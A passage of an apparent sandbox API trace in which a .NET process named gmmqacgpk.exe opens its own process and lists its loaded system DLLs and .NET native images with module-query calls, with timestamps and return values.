returned 0x7f [0033.752] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0033.753] GetLastError () returned 0x7f [0033.753] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0033.753] GetLastError () returned 0x7f [0033.753] GetModuleInformation (in: hProcess=0x200, hModule=0x747f0000, lpmodinfo=0x29b6cf4, cb=0xc | out: lpmodinfo=0x29b6cf4*(lpBaseOfDll=0x747f0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0033.754] GetLastError () returned 0x7f [0033.754] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x747f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0033.754] GetLastError () returned 0x7f [0033.754] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x747f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0033.755] GetLastError () returned 0x7f [0033.755] GetModuleInformation (in: hProcess=0x200, hModule=0x73e60000, lpmodinfo=0x29b7eb0, cb=0xc | out: lpmodinfo=0x29b7eb0*(lpBaseOfDll=0x73e60000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0033.756] GetLastError () returned 0x7f [0033.756] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73e60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0033.758] GetLastError () returned 0x7f [0033.758] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73e60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0033.759] GetLastError () returned 0x7f [0033.759] GetModuleInformation (in: hProcess=0x200, hModule=0x73cd0000, lpmodinfo=0x29b9094, cb=0xc | out: lpmodinfo=0x29b9094*(lpBaseOfDll=0x73cd0000, SizeOfImage=0x190000, EntryPoint=0x73d6d026)) returned 1 [0033.760] GetLastError () returned 0x7f [0033.760] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0033.760] GetLastError () returned 0x7f [0033.760] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0033.761] GetLastError () returned 0x7f [0033.761] GetModuleInformation (in: hProcess=0x200, hModule=0x73bd0000, lpmodinfo=0x29ba234, cb=0xc | out: lpmodinfo=0x29ba234*(lpBaseOfDll=0x73bd0000, SizeOfImage=0xfb000, EntryPoint=0x73be17e1)) returned 1 [0033.762] GetLastError () returned 0x7f [0033.762] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73bd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0033.762] GetLastError () returned 0x7f [0033.762] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73bd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0033.763] GetLastError () returned 0x7f [0033.763] GetModuleInformation (in: hProcess=0x200, hModule=0x75140000, lpmodinfo=0x29bb458, cb=0xc | out: lpmodinfo=0x29bb458*(lpBaseOfDll=0x75140000, SizeOfImage=0x5000, EntryPoint=0x75141438)) returned 1 [0033.764] GetLastError () returned 0x7f [0033.764] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75140000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0033.764] GetLastError () returned 0x7f [0033.764] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75140000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0033.765] GetLastError () returned 0x7f [0033.765] CloseHandle (hObject=0x200) returned 1 [0033.765] GetLastError () returned 0x7f [0033.797] GetCurrentProcessId () returned 0xa60 [0033.797] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa60) returned 0x200 [0033.797] GetLastError () returned 0x7f [0033.797] EnumProcessModules (in: hProcess=0x200, lphModule=0x28b3a50, cb=0x100, lpcbNeeded=0x30cdb8 | out: lphModule=0x28b3a50, lpcbNeeded=0x30cdb8) returned 1 [0033.798] GetLastError () returned 0x7f [0033.798] GetModuleInformation (in: hProcess=0x200, hModule=0x1320000, lpmodinfo=0x28b3b90, cb=0xc | out: lpmodinfo=0x28b3b90*(lpBaseOfDll=0x1320000, SizeOfImage=0xb0000, EntryPoint=0x1371d7e)) returned 1 [0033.798] GetLastError () returned 0x7f [0033.798] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x1320000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="gmmqacgpk.exe") returned 0xd [0033.798] GetLastError () returned 0x7f [0033.798] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x1320000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe")) returned 0x33 [0033.798] GetLastError () returned 0x7f [0033.799] GetModuleInformation (in: hProcess=0x200, hModule=0x77130000, lpmodinfo=0x28b4cd8, cb=0xc | out: lpmodinfo=0x28b4cd8*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0033.799] GetLastError () returned 0x7f [0033.799] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0033.799] GetLastError () returned 0x7f [0033.799] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0033.799] GetLastError () returned 0x7f [0033.799] GetModuleInformation (in: hProcess=0x200, hModule=0x74b20000, lpmodinfo=0x28b5dcc, cb=0xc | out: lpmodinfo=0x28b5dcc*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0033.799] GetLastError () returned 0x7f [0033.799] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74b20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0033.800] GetLastError () returned 0x7f [0033.800] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74b20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0033.800] GetLastError () returned 0x7f [0033.800] GetModuleInformation (in: hProcess=0x200, hModule=0x76c20000, lpmodinfo=0x28b6ec8, cb=0xc | out: lpmodinfo=0x28b6ec8*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0033.800] GetLastError () returned 0x7f [0033.800] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76c20000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0033.800] GetLastError () returned 0x7f [0033.800] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76c20000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0033.801] GetLastError () returned 0x7f [0033.801] GetModuleInformation (in: hProcess=0x200, hModule=0x75960000, lpmodinfo=0x28b7fcc, cb=0xc | out: lpmodinfo=0x28b7fcc*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0033.801] GetLastError () returned 0x7f [0033.801] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75960000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0033.801] GetLastError () returned 0x7f [0033.801] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75960000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0033.801] GetLastError () returned 0x7f [0033.802] GetModuleInformation (in: hProcess=0x200, hModule=0x74d40000, lpmodinfo=0x28b9108, cb=0xc | out: lpmodinfo=0x28b9108*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0033.802] GetLastError () returned 0x7f [0033.802] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74d40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0033.802] GetLastError () returned 0x7f [0033.802] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74d40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0033.802] GetLastError () returned 0x7f [0033.802] GetModuleInformation (in: hProcess=0x200, hModule=0x74e10000, lpmodinfo=0x28ba20c, cb=0xc | out: lpmodinfo=0x28ba20c*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0034.126] GetLastError () returned 0x7f [0034.126] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74e10000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0034.126] GetLastError () returned 0x7f [0034.127] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74e10000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0034.127] GetLastError () returned 0x7f [0034.127] GetModuleInformation (in: hProcess=0x200, hModule=0x75740000, lpmodinfo=0x28bb308, cb=0xc | out: lpmodinfo=0x28bb308*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0034.127] GetLastError () returned 0x7f [0034.127] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75740000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0034.127] GetLastError () returned 0x7f [0034.127] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75740000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0034.128] GetLastError () returned 0x7f [0034.128] GetModuleInformation (in: hProcess=0x200, hModule=0x75ee0000, lpmodinfo=0x28bc404, cb=0xc | out: lpmodinfo=0x28bc404*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0034.128] GetLastError () returned 0x7f [0034.128] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ee0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0034.128] GetLastError () returned 0x7f [0034.128] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ee0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0034.129] GetLastError () returned 0x7f [0034.129] GetModuleInformation (in: hProcess=0x200, hModule=0x74c90000, lpmodinfo=0x28bd550, cb=0xc | out: lpmodinfo=0x28bd550*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0034.129] GetLastError () returned 0x7f [0034.129] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0034.129] GetLastError () returned 0x7f [0034.129] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0034.130] GetLastError () returned 0x7f [0034.130] GetModuleInformation (in: hProcess=0x200, hModule=0x74c80000, lpmodinfo=0x28be64c, cb=0xc | out: lpmodinfo=0x28be64c*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0034.130] GetLastError () returned 0x7f [0034.130] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74c80000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0034.130] GetLastError () returned 0x7f [0034.131] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74c80000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0034.131] GetLastError () returned 0x7f [0034.131] GetModuleInformation (in: hProcess=0x200, hModule=0x74aa0000, lpmodinfo=0x28bf750, cb=0xc | out: lpmodinfo=0x28bf750*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0034.131] GetLastError () returned 0x7f [0034.131] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74aa0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0034.132] GetLastError () returned 0x7f [0034.132] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74aa0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0034.132] GetLastError () returned 0x7f [0034.132] GetModuleInformation (in: hProcess=0x200, hModule=0x75340000, lpmodinfo=0x28c0888, cb=0xc | out: lpmodinfo=0x28c0888*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0034.132] GetLastError () returned 0x7f [0034.132] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75340000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0034.133] GetLastError () returned 0x7f [0034.133] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75340000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0034.133] GetLastError () returned 0x7f [0034.133] GetModuleInformation (in: hProcess=0x200, hModule=0x75ad0000, lpmodinfo=0x28c1984, cb=0xc | out: lpmodinfo=0x28c1984*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0034.133] GetLastError () returned 0x7f [0034.134] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ad0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0034.134] GetLastError () returned 0x7f [0034.134] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ad0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0034.134] GetLastError () returned 0x7f [0034.134] GetModuleInformation (in: hProcess=0x200, hModule=0x74f40000, lpmodinfo=0x28c2a78, cb=0xc | out: lpmodinfo=0x28c2a78*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0034.135] GetLastError () returned 0x7f [0034.135] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74f40000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0034.135] GetLastError () returned 0x7f [0034.135] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74f40000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0034.136] GetLastError () returned 0x7f [0034.136] GetModuleInformation (in: hProcess=0x200, hModule=0x75130000, lpmodinfo=0x28c3b74, cb=0xc | out: lpmodinfo=0x28c3b74*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0034.136] GetLastError () returned 0x7f [0034.136] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75130000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0034.136] GetLastError () returned 0x7f [0034.136] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75130000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0034.137] GetLastError () returned 0x7f [0034.137] GetModuleInformation (in: hProcess=0x200, hModule=0x75090000, lpmodinfo=0x28c4c60, cb=0xc | out: lpmodinfo=0x28c4c60*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0034.137] GetLastError () returned 0x7f [0034.137] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75090000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0034.138] GetLastError () returned 0x7f [0034.138] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75090000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0034.138] GetLastError () returned 0x7f [0034.138] GetModuleInformation (in: hProcess=0x200, hModule=0x75b60000, lpmodinfo=0x28c5de4, cb=0xc | out: lpmodinfo=0x28c5de4*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0034.139] GetLastError () returned 0x7f [0034.139] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75b60000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0034.139] GetLastError () returned 0x7f [0034.139] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75b60000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0034.140] GetLastError () returned 0x7f [0034.140] GetModuleInformation (in: hProcess=0x200, hModule=0x75150000, lpmodinfo=0x28c6ed8, cb=0xc | out: lpmodinfo=0x28c6ed8*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0034.140] GetLastError () returned 0x7f [0034.140] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75150000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0034.140] GetLastError () returned 0x7f [0034.141] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75150000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0034.141] GetLastError () returned 0x7f [0034.141] GetModuleInformation (in: hProcess=0x200, hModule=0x74a90000, lpmodinfo=0x28c7fcc, cb=0xc | out: lpmodinfo=0x28c7fcc*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0034.141] GetLastError () returned 0x7f [0034.141] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74a90000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0034.142] GetLastError () returned 0x7f [0034.142] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74a90000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0034.142] GetLastError () returned 0x7f [0034.142] GetModuleInformation (in: hProcess=0x200, hModule=0x74000000, lpmodinfo=0x28c90c8, cb=0xc | out: lpmodinfo=0x28c90c8*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0034.143] GetLastError () returned 0x7f [0034.143] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74000000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0034.143] GetLastError () returned 0x7f [0034.143] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74000000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0034.144] GetLastError () returned 0x7f [0034.144] GetModuleInformation (in: hProcess=0x200, hModule=0x749f0000, lpmodinfo=0x28ca200, cb=0xc | out: lpmodinfo=0x28ca200*(lpBaseOfDll=0x749f0000, SizeOfImage=0x9b000, EntryPoint=0x749f232b)) returned 1 [0034.144] GetLastError () returned 0x7f [0034.144] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749f0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0034.145] GetLastError () returned 0x7f [0034.145] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749f0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0034.145] GetLastError () returned 0x7f [0034.145] GetModuleInformation (in: hProcess=0x200, hModule=0x75fd0000, lpmodinfo=0x28cb394, cb=0xc | out: lpmodinfo=0x28cb394*(lpBaseOfDll=0x75fd0000, SizeOfImage=0xc4a000, EntryPoint=0x76051601)) returned 1 [0034.146] GetLastError () returned 0x7f [0034.146] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75fd0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0034.146] GetLastError () returned 0x7f [0034.146] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75fd0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0034.147] GetLastError () returned 0x7f [0034.147] GetModuleInformation (in: hProcess=0x200, hModule=0x755e0000, lpmodinfo=0x28cc490, cb=0xc | out: lpmodinfo=0x28cc490*(lpBaseOfDll=0x755e0000, SizeOfImage=0x15c000, EntryPoint=0x7562ba3d)) returned 1 [0034.147] GetLastError () returned 0x7f [0034.147] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x755e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0034.148] GetLastError () returned 0x7f [0034.148] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x755e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0034.148] GetLastError () returned 0x7f [0034.148] GetModuleInformation (in: hProcess=0x200, hModule=0x749e0000, lpmodinfo=0x28cd584, cb=0xc | out: lpmodinfo=0x28cd584*(lpBaseOfDll=0x749e0000, SizeOfImage=0xb000, EntryPoint=0x749e1992)) returned 1 [0034.149] GetLastError () returned 0x7f [0034.149] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749e0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0034.149] GetLastError () returned 0x7f [0034.149] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749e0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0034.150] GetLastError () returned 0x7f [0034.150] GetModuleInformation (in: hProcess=0x200, hModule=0x729c0000, lpmodinfo=0x28ce680, cb=0xc | out: lpmodinfo=0x28ce680*(lpBaseOfDll=0x729c0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0034.151] GetLastError () returned 0x7f [0034.151] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x729c0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0034.151] GetLastError () returned 0x7f [0034.151] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x729c0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0034.152] GetLastError () returned 0x7f [0034.152] GetModuleInformation (in: hProcess=0x200, hModule=0x745d0000, lpmodinfo=0x28cf818, cb=0xc | out: lpmodinfo=0x28cf818*(lpBaseOfDll=0x745d0000, SizeOfImage=0x80000, EntryPoint=0x745e37c9)) returned 1 [0034.152] GetLastError () returned 0x7f [0034.152] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x745d0000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0034.153] GetLastError () returned 0x7f [0034.153] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x745d0000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0034.153] GetLastError () returned 0x7f [0034.153] GetModuleInformation (in: hProcess=0x200, hModule=0x74980000, lpmodinfo=0x28d0914, cb=0xc | out: lpmodinfo=0x28d0914*(lpBaseOfDll=0x74980000, SizeOfImage=0x5b000, EntryPoint=0x749c4d48)) returned 1 [0034.154] GetLastError () returned 0x7f [0034.154] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74980000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0034.154] GetLastError () returned 0x7f [0034.155] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74980000, lpFilename=0x3fefa8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0034.155] GetLastError () returned 0x7f [0034.155] GetModuleInformation (in: hProcess=0x200, hModule=0x72220000, lpmodinfo=0x28d1a4c, cb=0xc | out: lpmodinfo=0x28d1a4c*(lpBaseOfDll=0x72220000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0034.156] GetLastError () returned 0x7f [0034.156] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72220000, lpBaseName=0x3fefa8, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0034.156] GetLastError () returned 0x7f [0034.156] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72220000, lpFilename=0x3fefa8, nSize=0x800 | out: 